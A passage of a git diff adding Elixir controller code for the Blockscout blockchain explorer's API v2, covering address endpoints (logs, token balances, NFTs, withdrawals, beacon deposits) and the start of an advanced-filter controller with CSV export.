"index", "items_count"]), + responses: [ + ok: + {"Event logs for the specified address, with pagination.", "application/json", + paginated_response( + items: Schemas.Log, + next_page_params_example: %{"block_number" => 22_546_398, "index" => 268, "items_count" => 50}, + title_prefix: "AddressLogs" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/logs` endpoint (retrieves logs for a given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec logs(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def logs(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params), + {:ok, topic} <- validate_optional_topic(params[:topic]) do + case Chain.hash_to_address(address_hash, @api_true) do + {:ok, _address} -> + options = + params + |> paging_options() + |> Keyword.merge( + necessity_by_association: %{ + [address: [:names, :smart_contract, proxy_implementations_smart_contracts_association()]] => :optional + } + ) + |> Keyword.merge(@api_true) + |> Keyword.put(:topic, topic) + + results_plus_one = Chain.address_to_logs(address_hash, false, options) + + {logs, next_page} = split_list_by_page(results_plus_one) + + next_page_params = next_page |> next_page_params(logs, params) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:logs, %{ + logs: logs |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + + _ -> + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:logs, %{ + logs: [], + next_page_params: nil + }) + end + end + end + + operation :blocks_validated, + summary: "List blocks validated (mined) by a specific validator/miner address", + description: + "Retrieves blocks that were validated (mined) by a specific address. Useful for tracking validator/miner performance.", + parameters: base_params() ++ [address_hash_param()] ++ define_paging_params(["block_number", "items_count"]), + responses: [ + ok: + {"Blocks validated by the specified address, with pagination.", "application/json", + paginated_response( + items: Schemas.Block, + next_page_params_example: %{"block_number" => 22_546_398, "items_count" => 50}, + title_prefix: "AddressBlocksValidated" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/blocks-validated` endpoint (retrieves validated by a given address blocks) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec blocks_validated(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def blocks_validated(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + full_options = + [ + necessity_by_association: %{ + [miner: proxy_implementations_association()] => :optional, + miner: :required, + nephews: :optional, + transactions: :optional, + rewards: :optional + } + ] + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + + results_plus_one = Chain.get_blocks_validated_by_address(full_options, address_hash) + {blocks, next_page} = split_list_by_page(results_plus_one) + + next_page_params = next_page |> next_page_params(blocks, params) + + conn + |> put_status(200) + |> put_view(BlockView) + |> render(:blocks, %{blocks: blocks, next_page_params: next_page_params}) + + _ -> + conn + |> put_status(200) + |> put_view(BlockView) + |> render(:blocks, %{blocks: [], next_page_params: nil}) + end + end + end + + operation :coin_balance_history, + summary: "Get native coin balance history for an address showing all balance changes", + description: + "Retrieves historical native coin balance changes for a specific address, tracking how an address's balance has changed over time.", + parameters: base_params() ++ [address_hash_param()] ++ define_paging_params(["block_number", "items_count"]), + responses: [ + ok: + {"Historical coin balance changes for the specified address, with pagination.", "application/json", + paginated_response( + items: Schemas.CoinBalance, + next_page_params_example: %{"block_number" => 22_546_398, "items_count" => 50}, + title_prefix: "AddressCoinBalanceHistory" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/coin-balance-history` endpoint (retrieves coin balance history for given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec coin_balance_history(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def coin_balance_history(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, address} -> + full_options = params |> paging_options() |> Keyword.merge(@api_true) + + results_plus_one = CoinBalance.address_to_coin_balances(address, full_options) + + {coin_balances, next_page} = split_list_by_page(results_plus_one) + + next_page_params = + next_page |> next_page_params(coin_balances, params) + + conn + |> put_status(200) + |> render(:coin_balances, %{coin_balances: coin_balances, next_page_params: next_page_params}) + + _ -> + conn + |> put_status(200) + |> render(:coin_balances, %{coin_balances: [], next_page_params: nil}) + end + end + end + + operation :coin_balance_history_by_day, + summary: "Get daily native coin balance snapshots for an address from previous 10 days", + description: + "Retrieves daily snapshots of native coin balance for a specific address. Useful for generating balance-over-time charts.", + parameters: [address_hash_param() | base_params()], + responses: [ + ok: + {"Daily coin balance history for the specified address.", "application/json", + %Schema{ + title: "AddressCoinBalanceHistoryByDay", + type: :object, + properties: %{ + days: %Schema{type: :integer, nullable: false}, + items: %Schema{type: :array, items: Schemas.CoinBalanceByDay} + }, + nullable: false, + additionalProperties: false + }}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/coin-balance-history-by-day` endpoint (retrieves coin balance history by day for given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec coin_balance_history_by_day(Plug.Conn.t(), map()) :: + {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def coin_balance_history_by_day(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + balances_by_day = + address_hash + |> Chain.address_to_balances_by_day(@api_true) + + conn + |> put_status(200) + |> render(:coin_balances_by_day, %{coin_balances_by_day: balances_by_day}) + + _ -> + conn + |> put_status(200) + |> render(:coin_balances_by_day, %{coin_balances_by_day: []}) + end + end + end + + operation :tokens, + summary: "List token balances for an address with pagination and type filtering", + description: + "Retrieves token balances for a specific address with pagination and filtering by token type. Useful for displaying large token portfolios.", + parameters: + base_params() ++ + [address_hash_param(), token_type_param()] ++ + define_paging_params(["fiat_value_nullable", "id", "items_count", "value"]), + responses: [ + ok: + {"Token balances for the specified address with pagination.", "application/json", + paginated_response( + items: Schemas.Address.TokenBalance, + next_page_params_example: %{ + "fiat_value" => nil, + "id" => 12_519_063_346, + "items_count" => 50, + "value" => "3750000000000000000000" + }, + title_prefix: "AddressTokens" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/tokens` endpoint (retrieves token balances for given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec tokens(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def tokens(conn, %{address_hash_param: address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + results_plus_one = + address_hash + |> Chain.fetch_paginated_last_token_balances( + params + |> paging_options() + |> Keyword.merge(token_transfers_types_options(params)) + |> Keyword.merge(@api_true) + |> Keyword.merge(@token_preload_options) + |> fetch_scam_token_toggle(conn) + ) + + TokenBalanceOnDemand.trigger_fetch(ip, address_hash) + + {tokens, next_page} = split_list_by_page(results_plus_one) + + next_page_params = + next_page + |> next_page_params( + tokens, + params, + &paging_params_with_fiat_value/1 + ) + + conn + |> put_status(200) + |> render(:tokens, %{tokens: tokens, next_page_params: next_page_params}) + + _ -> + conn + |> put_status(200) + |> render(:tokens, %{tokens: [], next_page_params: nil}) + end + end + end + + operation :withdrawals, + summary: "List validator withdrawals involving a specific address", + description: + "Retrieves withdrawals involving a specific address, typically for proof-of-stake networks supporting validator withdrawals.", + parameters: base_params() ++ [address_hash_param()] ++ define_paging_params(["index", "items_count"]), + responses: [ + ok: + {"Withdrawals for the specified address, with pagination. Note that receiver field is not included in this endpoint.", + "application/json", + paginated_response( + items: Schemas.Withdrawal, + next_page_params_example: %{"index" => 88_192_653, "items_count" => 50}, + title_prefix: "AddressWithdrawals" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/withdrawals` endpoint (retrieves withdrawals for given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec withdrawals(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def withdrawals(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + options = @api_true |> Keyword.merge(paging_options(params)) + withdrawals_plus_one = address_hash |> Chain.address_hash_to_withdrawals(options) + {withdrawals, next_page} = split_list_by_page(withdrawals_plus_one) + + next_page_params = next_page |> next_page_params(withdrawals, params) + + conn + |> put_status(200) + |> put_view(WithdrawalView) + |> render(:withdrawals, %{ + withdrawals: withdrawals |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + + _ -> + conn + |> put_status(200) + |> put_view(WithdrawalView) + |> render(:withdrawals, %{ + withdrawals: [], + next_page_params: nil + }) + end + end + end + + operation :addresses_list, + summary: "List addresses holding native coins sorted by balance - top accounts", + description: "Retrieves a paginated list of addresses holding the native coin, sorted by balance.", + parameters: + base_params() ++ + [sort_param(["balance", "transactions_count"]), order_param()] ++ + define_paging_params(["fetched_coin_balance", "address_hash", "items_count", "transactions_count"]), + responses: [ + ok: + {"List of native coin holders with their balances, with pagination.", "application/json", + SchemasHelper.extend_schema( + paginated_response( + items: + Schemas.Address.schema() + |> SchemasHelper.extend_schema( + title: "AddressWithCoinBalanceAndTransactionsCount", + properties: %{ + coin_balance: Schemas.General.IntegerStringNullable, + transactions_count: %Schema{ + anyOf: [ + Schemas.General.IntegerString, + # TODO: replace empty string with null? + Schemas.General.EmptyString + ], + nullable: true + } + }, + required: [:coin_balance, :transactions_count] + ), + next_page_params_example: %{ + "fetched_coin_balance" => "124355417998347240251800", + "hash" => "0x59708733fbbf64378d9293ec56b977c011a08fd2", + "items_count" => 50, + "transactions_count" => nil + }, + title_prefix: "AddressList" + ), + properties: %{ + exchange_rate: Schemas.General.FloatStringNullable, + total_supply: Schemas.General.FloatStringNullable + }, + required: [:exchange_rate, :total_supply] + )}, + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses` endpoint (retrieves addresses list) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `Plug.Conn.t()` if the request is successful. + """ + @spec addresses_list(Plug.Conn.t(), map()) :: Plug.Conn.t() + def addresses_list(conn, params) do + {addresses, next_page} = + params + |> paging_options() + |> Keyword.merge(@api_true) + |> Keyword.merge(addresses_sorting(params)) + |> Address.list_top_addresses() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, addresses, params) + + exchange_rate = Market.get_coin_exchange_rate() + total_supply = Chain.total_supply() + + conn + |> put_status(200) + |> render(:addresses, %{ + addresses: addresses |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params, + exchange_rate: exchange_rate, + total_supply: total_supply + }) + end + + operation :tabs_counters, + summary: "Get counters for address tabs", + description: "Retrieves counters for various address-related entities (max counter value is 51).", + parameters: [address_hash_param() | base_params()], + responses: [ + ok: {"Counters for address tabs.", "application/json", Schemas.Address.TabsCounters}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/tabs-counters` endpoint (retrieves counter for each entity (max counter value is 51) for given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec tabs_counters(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def tabs_counters(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + counter_name_to_json_field_name = %{ + validations: :validations_count, + transactions: :transactions_count, + token_transfers: :token_transfers_count, + token_balances: :token_balances_count, + logs: :logs_count, + withdrawals: :withdrawals_count, + internal_transactions: :internal_transactions_count, + celo_election_rewards: :celo_election_rewards_count, + beacon_deposits: :beacon_deposits_count + } + + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + counters_json = + address_hash + |> Counters.address_limited_counters(@api_true) + |> Enum.reduce(%{}, fn {counter_name, counter_value}, acc -> + counter_name_to_json_field_name + |> Map.fetch(counter_name) + # credo:disable-for-next-line + |> case do + {:ok, json_field_name} -> + Map.put(acc, json_field_name, counter_value) + + :error -> + acc + end + end) + + conn + |> put_status(200) + |> json(counters_json) + + _ -> + counters_json = + counter_name_to_json_field_name + |> Enum.reduce(%{}, fn {_counter_type, json_field}, acc -> + Map.put(acc, json_field, 0) + end) + + conn + |> put_status(200) + |> json(counters_json) + end + end + end + + operation :nft_list, + summary: "List NFTs owned by a specific address with optional type filtering", + description: + "Retrieves a list of NFTs (non-fungible tokens) owned by a specific address, with optional filtering by token type.", + parameters: + base_params() ++ + [address_hash_param(), nft_token_type_param()] ++ + define_paging_params(["items_count", "token_contract_address_hash", "token_id", "token_type"]), + responses: [ + ok: + {"NFTs owned by the specified address, with pagination.", "application/json", + paginated_response( + items: Schemas.TokenInstanceInList, + next_page_params_example: %{ + "items_count" => 50, + "token_contract_address_hash" => "0x1ffe11b9fb7f6ff1b153ab8608cf403ecaf9d44a", + "token_id" => "24950", + "token_type" => "ERC-721" + }, + title_prefix: "AddressNFTs" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/nft` endpoint (retrieves NFTs for given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec nft_list(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def nft_list(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + results_plus_one = + Instance.nft_list( + address_hash, + params + |> paging_options() + |> Keyword.merge(nft_types_options(params)) + |> Keyword.merge(@api_true) + |> Keyword.merge(@nft_necessity_by_association) + |> fetch_scam_token_toggle(conn) + ) + + {nfts, next_page} = split_list_by_page(results_plus_one) + + next_page_params = + next_page + |> next_page_params( + nfts, + params, + &Instance.nft_list_next_page_params/1 + ) + + conn + |> put_status(200) + |> render(:nft_list, %{token_instances: nfts, next_page_params: next_page_params}) + + _ -> + conn + |> put_status(200) + |> render(:nft_list, %{token_instances: [], next_page_params: nil}) + end + end + end + + operation :nft_collections, + summary: "List NFTs owned by an address grouped by collection/project", + description: + "Retrieves NFTs owned by a specific address, organized by collection. Useful for displaying an address's NFT portfolio grouped by project.", + parameters: + base_params() ++ + [address_hash_param(), nft_token_type_param()] ++ + define_paging_params(["items_count", "token_contract_address_hash", "token_type"]), + responses: [ + ok: + {"NFTs owned by the specified address, grouped by collection, with pagination.", "application/json", + paginated_response( + items: Schemas.NFTCollection, + next_page_params_example: %{ + "items_count" => 50, + "token_contract_address_hash" => "0x1ffe11b9fb7f6ff1b153ab8608cf403ecaf9d44a", + "token_type" => "ERC-721" + }, + title_prefix: "AddressNFTCollections" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/nft/collections` endpoint (retrieves NFTs grouped by collections for given address) + + ## Parameters + + - conn: The connection struct. + - params: A map containing the parameters for the request. + + ## Returns + + - `{:format, :error}` if provided address_hash is invalid. + - `{:restricted_access, true}` if access is restricted. + - `Plug.Conn.t()` if the request is successful. + """ + @spec nft_collections(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def nft_collections(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params) do + case Chain.hash_to_address(address_hash, @address_options) do + {:ok, _address} -> + results_plus_one = + Instance.nft_collections( + address_hash, + params + |> paging_options() + |> Keyword.merge(nft_types_options(params)) + |> Keyword.merge(@api_true) + |> Keyword.merge(@nft_necessity_by_association) + |> fetch_scam_token_toggle(conn) + ) + + {collections, next_page} = split_list_by_page(results_plus_one) + + next_page_params = + next_page + |> next_page_params( + collections, + params, + &Instance.nft_collections_next_page_params/1 + ) + + conn + |> put_status(200) + |> render(:nft_collections, %{collections: collections, next_page_params: next_page_params}) + + _ -> + conn + |> put_status(200) + |> render(:nft_collections, %{collections: [], next_page_params: nil}) + end + end + end + + operation :celo_election_rewards, + summary: "List Celo election rewards for a specific address", + description: "Retrieves Celo election rewards for a specific address.", + parameters: + base_params() ++ + [address_hash_param()] ++ + define_paging_params(["items_count", "epoch_number", "amount", "associated_account_address_hash", "type"]), + responses: [ + ok: + {"Celo election rewards for the specified address.", "application/json", + paginated_response( + items: Schemas.Celo.ElectionReward, + next_page_params_example: %{ + "epoch_number" => 100, + "amount" => "1000000000000000000", + "associated_account_address_hash" => "0x1234567890123456789012345678901234567890", + "type" => "validator", + "items_count" => 50 + }, + title_prefix: "AddressCeloElectionRewards" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles GET requests to `/api/v2/addresses/:address_hash_param/election-rewards` endpoint. + """ + @spec celo_election_rewards(Plug.Conn.t(), map()) :: {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def celo_election_rewards(conn, %{address_hash_param: address_hash_string} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_string, params), + {:ok, _address} <- Chain.hash_to_address(address_hash, api?: true) do + full_options = + @celo_election_rewards_options + |> Keyword.put( + :paging_options, + celo_election_rewards_paging_options(params) + ) + + results_plus_one = CeloElectionReward.address_hash_to_rewards(address_hash, full_options) + + {rewards, next_page} = split_list_by_page(results_plus_one) + + filtered_params = + params + |> Map.drop([ + "epoch_number", + "amount", + "associated_account_address_hash", + "type" + ]) + + next_page_params = + next_page_params( + next_page, + rewards, + filtered_params, + &%{ + epoch_number: &1.epoch_number, + amount: &1.amount, + associated_account_address_hash: &1.associated_account_address_hash, + type: &1.type + } + ) + + conn + |> put_status(200) + |> put_view(CeloView) + |> render(:celo_address_election_rewards, %{ + rewards: rewards, + next_page_params: next_page_params + }) + end + end + + @spec celo_election_rewards_paging_options(map()) :: PagingOptions.t() + defp celo_election_rewards_paging_options(params) do + with %{ + epoch_number: epoch_number_string, + amount: amount_string, + associated_account_address_hash: associated_account_address_hash_string, + type: type_string + } + when is_binary(epoch_number_string) and + is_binary(amount_string) and + is_binary(associated_account_address_hash_string) and + is_binary(type_string) <- params, + {:ok, epoch_number} <- safe_parse_non_negative_integer(epoch_number_string), + {amount, ""} <- Decimal.parse(amount_string), + {:ok, associated_account_address_hash} <- + Hash.Address.cast(associated_account_address_hash_string), + sanitized_type_string <- + type_string + |> String.trim() + |> String.downcase() + |> String.replace("-", "_"), + {:ok, type} <- CeloElectionReward.type_from_string(sanitized_type_string) do + %{ + PagingOptions.default_paging_options() + | key: %{ + epoch_number: epoch_number, + amount: amount, + associated_account_address_hash: associated_account_address_hash, + type: type + } + } + else + _ -> + PagingOptions.default_paging_options() + end + end + + operation :beacon_deposits, + summary: "List Beacon Deposits for a specific address", + description: "Retrieves Beacon deposits for a specific address.", + parameters: + base_params() ++ + [address_hash_param()] ++ + define_paging_params(["deposit_index", "items_count"]), + responses: [ + ok: + {"Beacon deposits for the specified address.", "application/json", + paginated_response( + items: Schemas.Beacon.Deposit, + next_page_params_example: %{ + "index" => 123, + "items_count" => 50 + }, + title_prefix: "AddressBeaconDeposits" + )}, + unprocessable_entity: JsonErrorResponse.response(), + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles `api/v2/addresses/:address_hash/beacon/deposits` endpoint. + Fetches beacon deposits for a given address with pagination support. + + This endpoint retrieves all beacon deposits originating from the specified + address. The results include preloaded associations for both the from_address + and withdrawal_address, including scam badges, names, smart contracts, and + proxy implementations. The response is paginated and may include ENS and + metadata enrichment if those services are enabled. + + ## Parameters + - `conn`: The Plug connection. + - `params`: A map containing: + - `address_hash_param`: The address hash string to fetch deposits for. + - Optional pagination parameter: + - `index`: non-negative integer, the starting index for pagination. + + ## Returns + - `{:format, :error}` - If the address hash format is invalid. + - `{:restricted_access, true}` - If the address is restricted from access. + - `Plug.Conn.t()` - A 200 response with rendered deposits and pagination + information when successful. + """ + @spec beacon_deposits(Plug.Conn.t(), map()) :: + {:format, :error} | {:restricted_access, true} | Plug.Conn.t() + def beacon_deposits(conn, %{address_hash_param: address_hash_param} = params) do + with {:ok, address_hash} <- validate_address_hash(address_hash_param, params) do + full_options = + [ + necessity_by_association: %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [withdrawal_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional + }, + api?: true + ] + |> Keyword.merge(DepositController.paging_options(params)) + + deposit_plus_one = Deposit.from_address_hash(address_hash, full_options) + {deposits, next_page} = split_list_by_page(deposit_plus_one) + + next_page_params = + next_page + |> next_page_params( + deposits, + params, + DepositController.paging_function() + ) + + conn + |> put_status(200) + |> put_view(DepositView) + |> render(:deposits, %{ + deposits: deposits |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + # Checks if this address hash string is valid, and this address is not prohibited. + # Returns the `{:ok, address_hash}` if address hash passed all the checks. + # Returns {:ok, _} response even if the address is not present in the database. + @spec validate_address_hash(String.t(), any()) :: + {:format, :error} + | {:restricted_access, true} + | {:ok, Hash.t()} + defp validate_address_hash(address_hash_string, params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do + {:ok, address_hash} + end + end + + # Checks if this address hash string is valid, and this address is not prohibited. + # Returns the `{:ok, nil}` if first argument is `nil`. + # Returns the `{:ok, address_hash}` if address hash passed all the checks. + # Returns {:ok, _} response even if the address is not present in the database. + @spec validate_optional_address_hash(nil | String.t(), any()) :: + {:format, :error} + | {:restricted_access, true} + | {:ok, nil | Hash.t()} + defp validate_optional_address_hash(address_hash_string, params) do + case address_hash_string do + nil -> + {:ok, nil} + + _ -> + validate_address_hash(address_hash_string, params) + end + end + + @spec validate_optional_topic(nil | String.t()) :: {:ok, nil | Hash.Full.t()} | {:format, :error} + defp validate_optional_topic(topic) do + topic = if is_binary(topic), do: String.trim(topic), else: topic + + case topic do + nil -> + {:ok, nil} + + "" -> + {:ok, nil} + + "null" -> + {:ok, nil} + + _ -> + with {:format, {:ok, topic}} <- {:format, Chain.string_to_full_hash(topic)} do + {:ok, topic} + end + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/advanced_filter_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/advanced_filter_controller.ex new file mode 100644 index 000000000000..ee2d7d3b65aa --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/advanced_filter_controller.ex @@ -0,0 +1,379 @@ +defmodule BlockScoutWeb.API.V2.AdvancedFilterController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, only: [split_list_by_page: 1, next_page_params: 4, fetch_scam_token_toggle: 2] + import Explorer.PagingOptions, only: [default_paging_options: 0] + + alias BlockScoutWeb.API.V2.{AdvancedFilterView, CsvExportController} + alias Explorer.{Chain, PagingOptions} + alias Explorer.Chain.{Address.Reputation, AdvancedFilter, ContractMethod, Data, Token, Transaction} + alias Explorer.Chain.CsvExport.Helper, as: CsvHelper + alias Plug.Conn + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @api_true [api?: true] + + @methods [ + %{method_id: "0xa9059cbb", name: "transfer"}, + %{method_id: "0xa0712d68", name: "mint"}, + %{method_id: "0x095ea7b3", name: "approve"}, + %{method_id: "0x40993b26", name: "buy"}, + %{method_id: "0x3593564c", name: "execute"}, + %{method_id: "0x3ccfd60b", name: "withdraw"}, + %{method_id: "0xd0e30db0", name: "deposit"}, + %{method_id: "0x0a19b14a", name: "trade"}, + %{method_id: "0x4420e486", name: "register"}, + %{method_id: "0x5f575529", name: "swap"}, + %{method_id: "0xd9627aa4", name: "sellToUniswap"}, + %{method_id: "0xe9e05c42", name: "depositTransaction"}, + %{method_id: "0x23b872dd", name: "transferFrom"}, + %{method_id: "0xa22cb465", name: "setApprovalForAll"}, + %{method_id: "0x2e7ba6ef", name: "claim"}, + %{method_id: "0x0502b1c5", name: "unoswap"}, + %{method_id: "0xb2267a7b", name: "sendMessage"}, + %{method_id: "0x9871efa4", name: "unxswapByOrderId"}, + %{method_id: "0xbf6eac2f", name: "stake"}, + %{method_id: "0x3ce33bff", name: "bridge"}, + %{method_id: "0xeb672419", name: "requestL2Transaction"}, + %{method_id: "0xe449022e", name: "uniswapV3Swap"}, + %{method_id: "0x0162e2d0", name: "swapETHForExactTokens"} + ] + + @methods_id_to_name_map Map.new(@methods, fn %{method_id: method_id, name: name} -> {method_id, name} end) + @methods_name_to_id_map Map.new(@methods, fn %{method_id: method_id, name: name} -> {name, method_id} end) + + @methods_filter_limit 20 + @tokens_filter_limit 20 + + @token_options [api?: true, necessity_by_association: %{Reputation.reputation_association() => :optional}] + + @doc """ + Function responsible for `api/v2/advanced-filters/` endpoint. + """ + @spec list(Plug.Conn.t(), map()) :: Plug.Conn.t() + def list(conn, params) do + full_options = + params + |> extract_filters() + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + |> fetch_scam_token_toggle(conn) + + advanced_filters_plus_one = AdvancedFilter.list(full_options) + + {advanced_filters, next_page} = split_list_by_page(advanced_filters_plus_one) + + decoded_transactions = + advanced_filters + |> Enum.map(fn af -> %Transaction{to_address: af.to_address, input: af.input, hash: af.hash} end) + |> Transaction.decode_transactions(true, @api_true) + + next_page_params = + next_page |> next_page_params(advanced_filters, Map.take(params, ["items_count"]), &paging_params/1) + + render(conn, :advanced_filters, + advanced_filters: advanced_filters, + decoded_transactions: decoded_transactions, + search_params: %{ + method_ids: method_id_to_name_from_params(full_options[:methods] || [], decoded_transactions), + tokens: contract_address_hash_to_token_from_params(full_options[:token_contract_address_hashes]) + }, + next_page_params: next_page_params + ) + end + + @doc """ + Function responsible for `api/v2/advanced-filters/csv` endpoint. + """ + @spec list_csv(Plug.Conn.t(), map()) :: Plug.Conn.t() + def list_csv(conn, params) do + full_options = + params + |> extract_filters() + |> Keyword.merge(paging_options(params)) + |> Keyword.update(:paging_options, %PagingOptions{page_size: CsvHelper.limit()}, fn paging_options -> + %PagingOptions{paging_options | page_size: CsvHelper.limit()} + end) + |> Keyword.put(:timeout, :timer.minutes(5)) + + full_options + |> AdvancedFilter.list() + |> AdvancedFilterView.to_csv_format() + |> CsvHelper.dump_to_stream() + |> Enum.reduce_while(CsvExportController.put_resp_params(conn), fn chunk, conn -> + case Conn.chunk(conn, chunk) do + {:ok, conn} -> + {:cont, conn} + + {:error, :closed} -> + {:halt, conn} + end + end) + end + + @doc """ + Function responsible for `api/v2/advanced-filters/methods` endpoint, + including `api/v2/advanced-filters/methods/?q=:search_string`. + """ + @spec list_methods(Plug.Conn.t(), map()) :: {:method, nil | Explorer.Chain.ContractMethod.t()} | Plug.Conn.t() + def list_methods(conn, %{"q" => query}) do + case {@methods_id_to_name_map[query], @methods_name_to_id_map[query]} do + {name, _} when is_binary(name) -> + render(conn, :methods, methods: [%{method_id: query, name: name}]) + + {_, id} when is_binary(id) -> + render(conn, :methods, methods: [%{method_id: id, name: query}]) + + _ -> + mb_contract_method = + case Data.cast(query) do + {:ok, %Data{bytes: <<_::bytes-size(4)>> = binary_method_id}} -> + ContractMethod.find_contract_method_by_selector_id(binary_method_id, @api_true) + + _ -> + ContractMethod.find_contract_method_by_name(query, @api_true) + end + + case mb_contract_method do + %ContractMethod{abi: %{"name" => name}, identifier: identifier} -> + render(conn, 